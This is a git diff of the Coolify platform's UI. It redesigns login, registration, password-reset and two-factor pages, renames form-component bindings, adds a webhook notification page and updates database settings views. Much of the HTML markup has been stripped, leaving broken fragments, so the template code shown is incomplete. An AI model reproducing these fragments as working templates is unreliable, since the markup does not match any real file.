+image/svg+xml diff --git a/public/svgs/hetzner.svg b/public/svgs/hetzner.svg new file mode 100644 index 000000000..68b1b868d --- /dev/null +++ b/public/svgs/hetzner.svg @@ -0,0 +1,6 @@ + + + + + + diff --git a/public/svgs/lobe-chat.png b/public/svgs/lobe-chat.png new file mode 100644 index 000000000..2d340df88 Binary files /dev/null and b/public/svgs/lobe-chat.png differ diff --git a/public/svgs/newapi.png b/public/svgs/newapi.png new file mode 100644 index 000000000..f62bfd57f Binary files /dev/null and b/public/svgs/newapi.png differ diff --git a/public/svgs/once-campfire.png b/public/svgs/once-campfire.png new file mode 100644 index 000000000..d1158445b Binary files /dev/null and b/public/svgs/once-campfire.png differ diff --git a/public/svgs/rybbit.svg b/public/svgs/rybbit.svg new file mode 100644 index 000000000..5715b29bd --- /dev/null +++ b/public/svgs/rybbit.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/public/svgs/signoz.svg b/public/svgs/signoz.svg new file mode 100644 index 000000000..ac47e1c93 --- /dev/null +++ b/public/svgs/signoz.svg @@ -0,0 +1,30 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/svgs/swetrix.svg b/public/svgs/swetrix.svg new file mode 100644 index 000000000..8bb5bfdfa --- /dev/null +++ b/public/svgs/swetrix.svg @@ -0,0 +1,8 @@ + + + + + + + \ No newline at end of file diff --git a/resources/css/app.css b/resources/css/app.css index c1dc7e56d..fa1e61cb2 100644 --- a/resources/css/app.css +++ b/resources/css/app.css @@ -18,7 +18,7 @@ @theme { --color-base: #101010; --color-warning: #fcd452; - --color-success: #16a34a; + --color-success: #22C55E; --color-error: #dc2626; --color-coollabs-50: #f5f0ff; --color-coollabs: #6b16ed; diff --git a/resources/css/utilities.css b/resources/css/utilities.css index bedfb51bc..0bced1ece 100644 --- a/resources/css/utilities.css +++ b/resources/css/utilities.css @@ -32,7 +32,7 @@ @utility apexcharts-tooltip-custom-title { } @utility input-sticky { - @apply block py-1.5 w-full text-sm text-black rounded-sm border-0 ring-1 ring-inset dark:bg-coolgray-100 dark:text-white ring-neutral-200 dark:ring-coolgray-300 focus:ring-2 focus:ring-neutral-400 dark:focus:ring-coolgray-300; + @apply block py-1.5 w-full text-sm text-black rounded-sm border-0 ring-1 ring-inset dark:bg-coolgray-100 dark:text-white ring-neutral-200 dark:ring-coolgray-300 focus-visible:outline-none focus-visible:border-l-4 focus-visible:border-l-coollabs dark:focus-visible:border-l-warning; } @utility input-sticky-active { @@ -41,29 +41,29 @@ @utility input-sticky-active { /* Focus */ @utility input-focus { - @apply focus:ring-2 focus:ring-neutral-400 dark:focus:ring-coolgray-300; + @apply focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning focus-visible:ring-offset-2 dark:focus-visible:ring-offset-base; } /* input, select before */ @utility input-select { - @apply block py-1.5 w-full text-sm text-black rounded-sm border-0 ring-1 ring-inset dark:bg-coolgray-100 dark:text-white ring-neutral-200 dark:ring-coolgray-300 disabled:bg-neutral-200 disabled:text-neutral-500 dark:disabled:bg-coolgray-100/40 dark:disabled:ring-transparent; + @apply block py-1.5 w-full text-sm text-black rounded-sm border-0 ring-2 ring-inset dark:bg-coolgray-100 dark:text-white ring-neutral-200 dark:ring-coolgray-300 disabled:bg-neutral-200 disabled:text-neutral-500 dark:disabled:bg-coolgray-100/40 dark:disabled:ring-transparent; } /* Readonly */ @utility input { @apply dark:read-only:text-neutral-500 dark:read-only:ring-0 dark:read-only:bg-coolgray-100/40 placeholder:text-neutral-300 dark:placeholder:text-neutral-700 read-only:text-neutral-500 read-only:bg-neutral-200; - @apply input-focus; @apply input-select; + @apply focus-visible:outline-none focus-visible:border-l-4 focus-visible:border-l-coollabs dark:focus-visible:border-l-warning; } @utility select { @apply w-full; - @apply input-focus; @apply input-select; + @apply focus-visible:outline-none focus-visible:border-l-4 focus-visible:border-l-coollabs dark:focus-visible:border-l-warning; } @utility button { - @apply flex gap-2 justify-center items-center px-2 h-8 text-sm text-black normal-case rounded-sm border-2 outline-0 cursor-pointer font-medium bg-white border-neutral-200 hover:bg-neutral-100 dark:bg-coolgray-100 dark:text-white dark:hover:text-white dark:hover:bg-coolgray-200 dark:border-coolgray-300 hover:text-black disabled:cursor-not-allowed min-w-fit dark:disabled:text-neutral-600 disabled:border-transparent disabled:hover:bg-transparent disabled:bg-transparent disabled:text-neutral-300 focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning focus-visible:ring-offset-2 dark:focus-visible:ring-offset-coolgray-100; + @apply flex gap-2 justify-center items-center px-2 h-8 text-sm text-black normal-case rounded-sm border-2 outline-0 cursor-pointer font-medium bg-white border-neutral-200 hover:bg-neutral-100 dark:bg-coolgray-100 dark:text-white dark:hover:text-white dark:hover:bg-coolgray-200 dark:border-coolgray-300 hover:text-black disabled:cursor-not-allowed min-w-fit dark:disabled:text-neutral-600 disabled:border-transparent disabled:hover:bg-transparent disabled:bg-transparent disabled:text-neutral-300 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning focus-visible:ring-offset-2 dark:focus-visible:ring-offset-base; } @utility alert-success { diff --git a/resources/views/auth/confirm-password.blade.php b/resources/views/auth/confirm-password.blade.php index 287f2f170..ce8f21481 100644 --- a/resources/views/auth/confirm-password.blade.php +++ b/resources/views/auth/confirm-password.blade.php @@ -1,29 +1,51 @@ -
-
-
-
Coolify
- {{-- --}} -
-
-
- @csrf - - {{ __('auth.confirm_password') }} - - @if ($errors->any()) -
- @foreach ($errors->all() as $error) -

{{ $error }}

- @endforeach +
+
+
+
+

+ Coolify +

+

+ Confirm Your Password +

+
+ +
+ @if (session('status')) +
+

{{ session('status') }}

+
+ @endif + + @if ($errors->any()) +
+ @foreach ($errors->all() as $error) +

{{ $error }}

+ @endforeach +
+ @endif + +
+
+ + + +

+ This is a secure area. Please confirm your password before continuing. +

+
- @endif - @if (session('status')) -
- {{ session('status') }} -
- @endif + +
+ @csrf + + + {{ __('auth.confirm_password') }} + + +
-
+ diff --git a/resources/views/auth/forgot-password.blade.php b/resources/views/auth/forgot-password.blade.php index 66a924fb8..4952cfabd 100644 --- a/resources/views/auth/forgot-password.blade.php +++ b/resources/views/auth/forgot-password.blade.php @@ -1,42 +1,88 @@
- - Coolify -
- {{ __('auth.forgot_password_heading') }} -
-
-
+
+
+

+ Coolify +

+

+ {{ __('auth.forgot_password_heading') }} +

+
+ +
+ @if (session('status')) +
+
+ + + +

{{ session('status') }}

+
+
+ @endif + + @if ($errors->any()) +
+ @foreach ($errors->all() as $error) +

{{ $error }}

+ @endforeach +
+ @endif + @if (is_transactional_emails_enabled()) -
- @csrf - - {{ __('auth.forgot_password_send_email') }} - - @else -
Transactional emails are not active on this instance.
-
See how to set it in our docs, or how to - manually reset password. +
+ @csrf + + + {{ __('auth.forgot_password_send_email') }} + + + @else +
+
+ + + +
+

Email Not Configured

+

+ Transactional emails are not active on this instance. +

+

+ See how to set it in our documentation, or + learn how to manually reset your password. +

+
+
+
+ @endif + +
+
+
+
+
+ + Remember your password? + +
- @endif - @if ($errors->any()) -
- @foreach ($errors->all() as $error) -

{{ $error }}

- @endforeach -
- @endif - @if (session('status')) -
- {{ session('status') }} -
- @endif + + + Back to Login +
- -
+ \ No newline at end of file diff --git a/resources/views/auth/login.blade.php b/resources/views/auth/login.blade.php index 8bd8e81fc..f85dc268e 100644 --- a/resources/views/auth/login.blade.php +++ b/resources/views/auth/login.blade.php @@ -1,79 +1,102 @@
- - Coolify - -
- @if ($errors->any()) -
- @foreach ($errors->all() as $error) -

{{ $error }}

- @endforeach -
- @endif -
-
- @csrf - @env('local') - +
+
+

+ Coolify +

+
- - - - {{ __('auth.forgot_password_link') }} - - @else - - - - {{ __('auth.forgot_password_link') }} - - @endenv - - {{ __('auth.login') }} - - @if (session('error')) -
- {{ session('error') }} -
- @endif - @if (!$is_registration_enabled) -
{{ __('auth.registration_disabled') }}
- @endif - @if (session('status')) -
- {{ session('status') }} -
- @endif - - @if ($is_registration_enabled) - - {{ __('auth.register_now') }} - - @endif - @if ($enabled_oauth_providers->isNotEmpty()) -
- -
- or -
+
+ @if (session('status')) +
+

{{ session('status') }}

@endif - @foreach ($enabled_oauth_providers as $provider_setting) - - {{ __("auth.login.$provider_setting->provider") }} + + @if (session('error')) +
+

{{ session('error') }}

+
+ @endif + + @if ($errors->any()) +
+ @foreach ($errors->all() as $error) +

{{ $error }}

+ @endforeach +
+ @endif + +
+ @csrf + @env('local') + + + @else + + + @endenv + + + + + {{ __('auth.login') }} - @endforeach + + + @if ($is_registration_enabled) +
+
+
+
+
+ + Don't have an account? + +
+
+ + {{ __('auth.register_now') }} + + @else +
+ {{ __('auth.registration_disabled') }} +
+ @endif + + @if ($enabled_oauth_providers->isNotEmpty()) +
+
+
+
+
+ or + continue with +
+
+
+ @foreach ($enabled_oauth_providers as $provider_setting) + + {{ __("auth.login.$provider_setting->provider") }} + + @endforeach +
+ @endif
-
+ \ No newline at end of file diff --git a/resources/views/auth/register.blade.php b/resources/views/auth/register.blade.php index a54233774..3db943726 100644 --- a/resources/views/auth/register.blade.php +++ b/resources/views/auth/register.blade.php @@ -11,22 +11,43 @@ function getOldOrLocal($key, $localValue)
- - Coolify - -
-
-
-

- Create an account -

- @if ($isFirstUser) -
This user will be the root user (full admin access). +
+
+

+ Coolify +

+

+ Create your account +

+
+ +
+ @if ($isFirstUser) +
+
+ + + +
+

Root User Setup

+

This user will be the root user with full admin access.

+
- @endif -
-
+
+ @endif + + @if ($errors->any()) +
+ @foreach ($errors->all() as $error) +

{{ $error }}

+ @endforeach +
+ @endif + + @csrf @@ -36,15 +57,32 @@ class="text-xl font-bold leading-tight tracking-tight text-gray-900 md:text-2xl label="{{ __('input.password') }}" /> -
Your password should be min 8 characters long and contain - at least one uppercase letter, one lowercase letter, one number, and one symbol.
-
- Register - - {{ __('auth.already_registered') }} - + +
+

+ Your password should be min 8 characters long and contain at least one uppercase letter, one lowercase letter, one number, and one symbol. +

+ + + Create Account + + +
+
+
+
+
+ + Already have an account? + +
+
+ + + {{ __('auth.already_registered') }} +
diff --git a/resources/views/auth/reset-password.blade.php b/resources/views/auth/reset-password.blade.php index ae85b11a5..a4a07ebd6 100644 --- a/resources/views/auth/reset-password.blade.php +++ b/resources/views/auth/reset-password.blade.php @@ -1,39 +1,80 @@
- - Coolify - -
- {{ __('auth.reset_password') }} -
-
-
-
+
+
+

+ Coolify +

+

+ {{ __('auth.reset_password') }} +

+
+ +
+ @if (session('status')) +
+
+ + + +

{{ session('status') }}

+
+
+ @endif + + @if ($errors->any()) +
+ @foreach ($errors->all() as $error) +

{{ $error }}

+ @endforeach +
+ @endif + +
+

+ Enter your new password below. Make sure it's strong and secure. +

+
+ + @csrf -
- - + + + +
+

+ Your password should be min 8 characters long and contain at least one uppercase letter, one lowercase letter, one number, and one symbol. +

- {{ __('auth.reset_password') }} + + + {{ __('auth.reset_password') }} + - @if ($errors->any()) -
- @foreach ($errors->all() as $error) -

{{ $error }}

- @endforeach + +
+
+
- @endif - @if (session('status')) -
- {{ session('status') }} +
+ + Remember your password? +
- @endif +
+ + + Back to Login +
diff --git a/resources/views/auth/two-factor-challenge.blade.php b/resources/views/auth/two-factor-challenge.blade.php index 238b7ad8d..d4531cbe8 100644 --- a/resources/views/auth/two-factor-challenge.blade.php +++ b/resources/views/auth/two-factor-challenge.blade.php @@ -1,40 +1,137 @@ -
+
- - Coolify - -
-
-
- @csrf -
- -
Enter - Recovery Code -
+
+
+

+ Coolify +

+

+ Two-Factor Authentication +

+
+ +
+ @if (session('status')) +
+

{{ session('status') }}

-
- -
- {{ __('auth.login') }} - + @endif + @if ($errors->any()) -
+
@foreach ($errors->all() as $error) -

{{ $error }}

+

{{ $error }}

@endforeach
@endif - @if (session('status')) -
- {{ session('status') }} + +
+
+ + + +

+ Enter the verification code from your authenticator app to continue. +

- @endif +
+ +
+ @csrf +
+ +
+ +
+ +
+
+ + +
+ + {{ __('auth.login') }} + +
+ +
+
+
+
+
+ + Need help? + +
+
+ + + Back to Login +
- + \ No newline at end of file diff --git a/resources/views/components/boarding-progress.blade.php b/resources/views/components/boarding-progress.blade.php new file mode 100644 index 000000000..dec34abac --- /dev/null +++ b/resources/views/components/boarding-progress.blade.php @@ -0,0 +1,47 @@ +@props(['currentStep' => 1, 'totalSteps' => 3]) + +
+
+ @for ($i = 1; $i <= $totalSteps; $i++) +
+
+
+ @if ($i < $currentStep) + + + + @else + + {{ $i }} + + @endif +
+ + @if ($i === 1) + Server + @elseif ($i === 2) + Connection + @elseif ($i === 3) + Complete + @endif + +
+ @if ($i < $totalSteps) +
+
+ @endif +
+ @endfor +
+
diff --git a/resources/views/components/boarding-step.blade.php b/resources/views/components/boarding-step.blade.php index d963e55f0..716987baf 100644 --- a/resources/views/components/boarding-step.blade.php +++ b/resources/views/components/boarding-step.blade.php @@ -1,25 +1,29 @@ -
-
-

{{ $title }}

-
+
+
+
+

{{ $title }}

@isset($question) -

+

{{ $question }} -

+
@endisset + + @if ($actions) +
+ {{ $actions }} +
+ @endif
- @if ($actions) -
- {{ $actions }} + + @isset($explanation) +
+

+ Technical Details +

+
+ {{ $explanation }} +
- @endif + @endisset
- @isset($explanation) -
-

Explanation

-
- {{ $explanation }} -
-
- @endisset
diff --git a/resources/views/components/forms/checkbox.blade.php b/resources/views/components/forms/checkbox.blade.php index 868f657f6..b291759a8 100644 --- a/resources/views/components/forms/checkbox.blade.php +++ b/resources/views/components/forms/checkbox.blade.php @@ -32,14 +32,14 @@ merge(['class' => $defaultClass]) }} wire:loading.attr="disabled" wire:click='{{ $instantSave === 'instantSave' || $instantSave == '1' ? 'instantSave' : $instantSave }}' - wire:model={{ $id }} @if ($checked) checked @endif /> + wire:model={{ $modelBinding }} id="{{ $htmlId }}" @if ($checked) checked @endif /> @else @if ($domValue) merge(['class' => $defaultClass]) }} - value={{ $domValue }} @if ($checked) checked @endif /> + value={{ $domValue }} id="{{ $htmlId }}" @if ($checked) checked @endif /> @else merge(['class' => $defaultClass]) }} - wire:model={{ $value ?? $id }} @if ($checked) checked @endif /> + wire:model={{ $value ?? $modelBinding }} id="{{ $htmlId }}" @if ($checked) checked @endif /> @endif @endif diff --git a/resources/views/components/forms/datalist.blade.php b/resources/views/components/forms/datalist.blade.php index c9710b728..5bb12aa8d 100644 --- a/resources/views/components/forms/datalist.blade.php +++ b/resources/views/components/forms/datalist.blade.php @@ -1,6 +1,6 @@
-
+@endif + +@error($modelBinding) + +@enderror
diff --git a/resources/views/components/forms/input.blade.php b/resources/views/components/forms/input.blade.php index 858f5ac1c..6b88c7b44 100644 --- a/resources/views/components/forms/input.blade.php +++ b/resources/views/components/forms/input.blade.php @@ -27,10 +27,9 @@ class="flex absolute inset-y-0 right-0 items-center pr-2 cursor-pointer dark:hov @endif merge(['class' => $defaultClass]) }} @required($required) - @if ($id !== 'null') wire:model={{ $id }} @endif - wire:dirty.class.remove='dark:focus:ring-coolgray-300 dark:ring-coolgray-300' - wire:dirty.class="dark:focus:ring-warning dark:ring-warning" wire:loading.attr="disabled" - type="{{ $type }}" @readonly($readonly) @disabled($disabled) id="{{ $id }}" + @if ($modelBinding !== 'null') wire:model={{ $modelBinding }} wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" @endif + wire:loading.attr="disabled" + type="{{ $type }}" @readonly($readonly) @disabled($disabled) id="{{ $htmlId }}" name="{{ $name }}" placeholder="{{ $attributes->get('placeholder') }}" aria-placeholder="{{ $attributes->get('placeholder') }}" @if ($autofocus) x-ref="autofocusInput" @endif> @@ -39,20 +38,19 @@ class="flex absolute inset-y-0 right-0 items-center pr-2 cursor-pointer dark:hov @else merge(['class' => $defaultClass]) }} @required($required) @readonly($readonly) - @if ($id !== 'null') wire:model={{ $id }} @endif - wire:dirty.class.remove='dark:focus:ring-coolgray-300 dark:ring-coolgray-300' - wire:dirty.class="dark:focus:ring-warning dark:ring-warning" wire:loading.attr="disabled" + @if ($modelBinding !== 'null') wire:model={{ $modelBinding }} wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" @endif + wire:loading.attr="disabled" type="{{ $type }}" @disabled($disabled) min="{{ $attributes->get('min') }}" max="{{ $attributes->get('max') }}" minlength="{{ $attributes->get('minlength') }}" maxlength="{{ $attributes->get('maxlength') }}" - @if ($id !== 'null') id={{ $id }} @endif name="{{ $name }}" + @if ($htmlId !== 'null') id={{ $htmlId }} @endif name="{{ $name }}" placeholder="{{ $attributes->get('placeholder') }}" @if ($autofocus) x-ref="autofocusInput" @endif> @endif @if (!$label && $helper) @endif - @error($id) + @error($modelBinding) diff --git a/resources/views/components/forms/monaco-editor.blade.php b/resources/views/components/forms/monaco-editor.blade.php index 811953153..36da2ebcb 100644 --- a/resources/views/components/forms/monaco-editor.blade.php +++ b/resources/views/components/forms/monaco-editor.blade.php @@ -81,8 +81,13 @@ document.getElementById(monacoId).addEventListener('monaco-editor-focused', (event) => { editor.focus(); }); - + updatePlaceholder(editor.getValue()); + + @if ($autofocus) + // Auto-focus the editor + setTimeout(() => editor.focus(), 100); + @endif $watch('monacoContent', value => { if (editor.getValue() !== value) { @@ -99,7 +104,7 @@ }, 5);" :id="monacoId">
-
+
whereStartsWith('wire:model')->first()) {{ $attributes->whereStartsWith('wire:model')->first() }} @else wire:model={{ $id }} @endif> + wire:loading.attr="disabled" name={{ $modelBinding }} id="{{ $htmlId }}" + @if ($attributes->whereStartsWith('wire:model')->first()) {{ $attributes->whereStartsWith('wire:model')->first() }} wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" @else wire:model={{ $modelBinding }} wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" @endif> {{ $slot }} - @error($id) + @error($modelBinding) diff --git a/resources/views/components/forms/textarea.blade.php b/resources/views/components/forms/textarea.blade.php index b4dec192a..cee5faeda 100644 --- a/resources/views/components/forms/textarea.blade.php +++ b/resources/views/components/forms/textarea.blade.php @@ -25,9 +25,9 @@ function handleKeydown(e) { @endif @if ($useMonacoEditor) - + @else @if ($type === 'password')
@@ -45,35 +45,34 @@ class="absolute inset-y-0 right-0 flex items-center h-6 pt-2 pr-2 cursor-pointer @endif merge(['class' => $defaultClassInput]) }} @required($required) - @if ($id !== 'null') wire:model={{ $id }} @endif - wire:dirty.class.remove='dark:focus:ring-coolgray-300 dark:ring-coolgray-300' - wire:dirty.class="dark:focus:ring-warning dark:ring-warning" wire:loading.attr="disabled" - type="{{ $type }}" @readonly($readonly) @disabled($disabled) id="{{ $id }}" + @if ($modelBinding !== 'null') wire:model={{ $modelBinding }} wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" @endif + wire:loading.attr="disabled" + type="{{ $type }}" @readonly($readonly) @disabled($disabled) id="{{ $htmlId }}" name="{{ $name }}" placeholder="{{ $attributes->get('placeholder') }}" aria-placeholder="{{ $attributes->get('placeholder') }}"> + wire:model={{ $value ?? $modelBinding }} wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" @endif + @disabled($disabled) @readonly($readonly) @required($required) id="{{ $htmlId }}" + name="{{ $name }}" name={{ $modelBinding }} + @if ($autofocus) x-ref="autofocusInput" @endif>
@else + wire:model={{ $value ?? $modelBinding }} wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" @endif + @disabled($disabled) @readonly($readonly) @required($required) id="{{ $htmlId }}" + name="{{ $name }}" name={{ $modelBinding }} + @if ($autofocus) x-ref="autofocusInput" @endif> @endif @endif - @error($id) + @error($modelBinding) diff --git a/resources/views/components/modal-confirmation.blade.php b/resources/views/components/modal-confirmation.blade.php index 1a3c88f80..46164840d 100644 --- a/resources/views/components/modal-confirmation.blade.php +++ b/resources/views/components/modal-confirmation.blade.php @@ -114,7 +114,7 @@ } } }" - @keydown.escape.window="modalOpen = false; resetModal()" :class="{ 'z-40': modalOpen }" + @keydown.escape.window="if (modalOpen) { modalOpen = false; resetModal(); }" :class="{ 'z-40': modalOpen }" class="relative w-auto h-auto"> @if ($customButton) @if ($buttonFullWidth) @@ -250,6 +250,18 @@ class="w-24 dark:bg-coolgray-200 dark:hover:bg-coolgray-300"> {{ $checkbox['label'] }} + @if (isset($checkbox['default_warning'])) + + @endif @endforeach @if (!$disableTwoStepConfirmation) diff --git a/resources/views/components/modal-input.blade.php b/resources/views/components/modal-input.blade.php index c15985d03..6291e8774 100644 --- a/resources/views/components/modal-input.blade.php +++ b/resources/views/components/modal-input.blade.php @@ -8,8 +8,11 @@ 'content' => null, 'closeOutside' => true, 'minWidth' => '36rem', + 'isFullWidth' => false, ]) -
@if ($content)
@@ -17,13 +20,13 @@ class="relative w-auto h-auto" wire:ignore>
@else @if ($disabled) - {{ $buttonTitle }} + $isFullWidth])>{{ $buttonTitle }} @elseif ($isErrorButton) - {{ $buttonTitle }} + $isFullWidth])>{{ $buttonTitle }} @elseif ($isHighlightedButton) - {{ $buttonTitle }} + $isFullWidth])>{{ $buttonTitle }} @else - {{ $buttonTitle }} + $isFullWidth])>{{ $buttonTitle }} @endif @endif
+
diff --git a/resources/views/livewire/notifications/webhook.blade.php b/resources/views/livewire/notifications/webhook.blade.php new file mode 100644 index 000000000..4646aaccd --- /dev/null +++ b/resources/views/livewire/notifications/webhook.blade.php @@ -0,0 +1,89 @@ +
+ + Notifications | Coolify + + +
+
+

Webhook

+ + Save + + @if ($webhookEnabled) + + Send Test Notification + + @else + + Send Test Notification + + @endif +
+
+ +
+
+ + +
+
+

Notification Settings

+

+ Select events for which you would like to receive webhook notifications. +

+
+
+

Deployments

+
+ + + +
+
+
+

Backups

+
+ + +
+
+
+

Scheduled Tasks

+
+ + +
+
+
+

Server

+
+ + + + + + +
+
+
+
diff --git a/resources/views/livewire/project/application/general.blade.php b/resources/views/livewire/project/application/general.blade.php index e7e26c134..9ce846d3a 100644 --- a/resources/views/livewire/project/application/general.blade.php +++ b/resources/views/livewire/project/application/general.blade.php @@ -16,14 +16,14 @@
General configuration for your application.
- - + +
@if (!$application->dockerfile && $application->build_pack !== 'dockerimage')
- @@ -31,7 +31,7 @@ @if ($application->settings->is_static || $application->build_pack === 'static') - @@ -66,7 +66,7 @@
@endif @if ($application->settings->is_static || $application->build_pack === 'static') - @can('update', $application) @@ -77,25 +77,25 @@ @endif
@if ($application->could_set_build_commands()) - @endif @if ($application->settings->is_static && $application->build_pack !== 'static') @endif
@if ($application->build_pack !== 'dockercompose')
@if ($application->settings->is_container_label_readonly_enabled == false) - @else - @@ -121,7 +121,7 @@ x-bind:disabled="!canUpdate" /> @endif @else - @@ -164,15 +164,15 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry"
@if ($application->build_pack === 'dockerimage') @if ($application->destination->server->isSwarm()) - - @else - - @endif @@ -181,18 +181,18 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry" $application->destination->server->isSwarm() || $application->additional_servers->count() > 0 || $application->settings->is_build_server_enabled) - - @else - - @@ -206,20 +206,20 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry" @else @if ($application->could_set_build_commands()) @if ($application->build_pack === 'nixpacks')
Nixpacks will detect the required configuration @@ -239,16 +239,16 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry" @endcan
@@ -261,12 +261,12 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry"
@@ -274,36 +274,36 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry"
@endif
@else
- @if ($application->build_pack === 'dockerfile' && !$application->dockerfile) - @endif @if ($application->build_pack === 'dockerfile') - @endif @if ($application->could_set_build_commands()) @if ($application->settings->is_static) - @else - @endif @endif @@ -313,21 +313,21 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry"
@endif @if ($application->build_pack !== 'dockercompose')
@endif @@ -344,18 +344,18 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry" @endcan
@if ($application->settings->is_raw_compose_deployment_enabled) - @else @if ((int) $application->compose_parsing_version >= 3) - @endif - @@ -363,45 +363,45 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry"
{{-- --}} + id="is_container_label_readonly_enabled" instantSave> --}}
@endif @if ($application->dockerfile) - @endif @if ($application->build_pack !== 'dockercompose')

Network

@if ($application->settings->is_static || $application->build_pack === 'static') - @else @if ($application->settings->is_container_label_readonly_enabled === false) - @else - @endif @endif @if (!$application->destination->server->isSwarm()) - @endif @if (!$application->destination->server->isSwarm()) - + wire:model="custom_network_aliases" x-bind:disabled="!canUpdate" /> @endif
@@ -409,14 +409,14 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry"
@if ($application->is_http_basic_auth_enabled)
- -
@endif @@ -432,11 +432,11 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry"
@can('update', $application) @@ -455,21 +455,21 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry"

Pre/Post Deployment Commands

@if ($application->build_pack === 'dockercompose') - @endif
@if ($application->build_pack === 'dockercompose') @endif
diff --git a/resources/views/livewire/project/application/previews-compose.blade.php b/resources/views/livewire/project/application/previews-compose.blade.php index ffed66814..ae8d70243 100644 --- a/resources/views/livewire/project/application/previews-compose.blade.php +++ b/resources/views/livewire/project/application/previews-compose.blade.php @@ -1,7 +1,7 @@
- + Save Generate Domain -
+ \ No newline at end of file diff --git a/resources/views/livewire/project/application/previews.blade.php b/resources/views/livewire/project/application/previews.blade.php index c2f634cd7..da75fb704 100644 --- a/resources/views/livewire/project/application/previews.blade.php +++ b/resources/views/livewire/project/application/previews.blade.php @@ -112,7 +112,7 @@ class="dark:text-warning">{{ $application->destination->server->name }}.<
+ id="previewFqdns.{{ $previewName }}" canGate="update" :canResource="$application"> @can('update', $application) Save Generate @@ -130,7 +130,7 @@ class="flex items-end gap-2 pt-4"> @else + id="previewFqdns.{{ $previewName }}" canGate="update" :canResource="$application"> @can('update', $application) Save Generate diff --git a/resources/views/livewire/project/database/mariadb/general.blade.php b/resources/views/livewire/project/database/mariadb/general.blade.php index fdc659408..b428c3144 100644 --- a/resources/views/livewire/project/database/mariadb/general.blade.php +++ b/resources/views/livewire/project/database/mariadb/general.blade.php @@ -7,9 +7,9 @@
- - - + +
If you change the values in the database, please sync it here, otherwise @@ -17,32 +17,32 @@
@if ($database->started_at)
- - -
-
@else
- - -
-
@@ -51,13 +51,13 @@

Network

-
@@ -75,7 +75,7 @@

SSL Configuration

- @if ($database->enable_ssl && $certificateValidUntil) + @if ($enableSsl && $certificateValidUntil) Valid until: @if (now()->gt($certificateValidUntil)) {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - Expired @@ -102,12 +102,12 @@
@if (str($database->status)->contains('exited')) - @else - @endif @@ -134,18 +134,18 @@ @endif
-
- +
-

Advanced

diff --git a/resources/views/livewire/project/database/mongodb/general.blade.php b/resources/views/livewire/project/database/mongodb/general.blade.php index 2892e721e..871ac55c4 100644 --- a/resources/views/livewire/project/database/mongodb/general.blade.php +++ b/resources/views/livewire/project/database/mongodb/general.blade.php @@ -7,9 +7,9 @@
- - - + +
If you change the values in the database, please sync it here, otherwise @@ -17,36 +17,36 @@
@if ($database->started_at)
- - -
@else
- - -
@endif + id="customDockerRunOptions" label="Custom Docker Options" canGate="update" :canResource="$database" />

Network

-
@@ -64,7 +64,7 @@

SSL Configuration

- @if ($database->enable_ssl) + @if ($enableSsl) Valid until: @if (now()->gt($certificateValidUntil)) {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - Expired @@ -91,20 +91,20 @@
@if (str($database->status)->contains('exited')) - @else - @endif
- @if ($database->enable_ssl) + @if ($enableSsl)
@if (str($database->status)->contains('exited')) - @@ -115,7 +115,7 @@ @else - @@ -148,18 +148,18 @@ @endif
-
- +
-

Advanced

diff --git a/resources/views/livewire/project/database/mysql/general.blade.php b/resources/views/livewire/project/database/mysql/general.blade.php index c04119f9f..512a3eb1b 100644 --- a/resources/views/livewire/project/database/mysql/general.blade.php +++ b/resources/views/livewire/project/database/mysql/general.blade.php @@ -7,9 +7,9 @@
- - - + +
If you change the values in the database, please sync it here, otherwise @@ -17,29 +17,29 @@
@if ($database->started_at)
- - -
-
@else
- - -
-
@@ -48,12 +48,12 @@ + id="customDockerRunOptions" label="Custom Docker Options" canGate="update" :canResource="$database" />

Network

-

SSL Configuration

- @if ($database->enable_ssl && $certificateValidUntil) + @if ($enableSsl && $certificateValidUntil) Valid until: @if (now()->gt($certificateValidUntil)) {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - Expired @@ -97,18 +97,18 @@
@if (str($database->status)->contains('exited')) - + @else - @endif
- @if ($database->enable_ssl) + @if ($enableSsl)
@if (str($database->status)->contains('exited')) - @@ -118,7 +118,7 @@ @else - @@ -151,16 +151,16 @@ @endif
- +
- +
- +

Advanced

+ instantSave="instantSaveAdvanced" id="isLogDrainEnabled" label="Drain Logs" canGate="update" :canResource="$database" />
diff --git a/resources/views/livewire/project/database/postgresql/general.blade.php b/resources/views/livewire/project/database/postgresql/general.blade.php index d93170edf..290d18fca 100644 --- a/resources/views/livewire/project/database/postgresql/general.blade.php +++ b/resources/views/livewire/project/database/postgresql/general.blade.php @@ -21,9 +21,9 @@
- - - + +
If you change the values in the database, please sync it here, otherwise @@ -31,40 +31,40 @@
@if ($database->started_at)
- - -
@else
- - -
@endif
+ id="postgresInitdbArgs" placeholder="If empty, use default. See in docker docs." /> + id="postgresHostAuthMethod" placeholder="If empty, use default. See in docker docs." />
+ id="customDockerRunOptions" label="Custom Docker Options" canGate="update" :canResource="$database" />

Network

-
@@ -81,7 +81,7 @@

SSL Configuration

- @if ($database->enable_ssl && $certificateValidUntil) + @if ($enableSsl && $certificateValidUntil) @endif
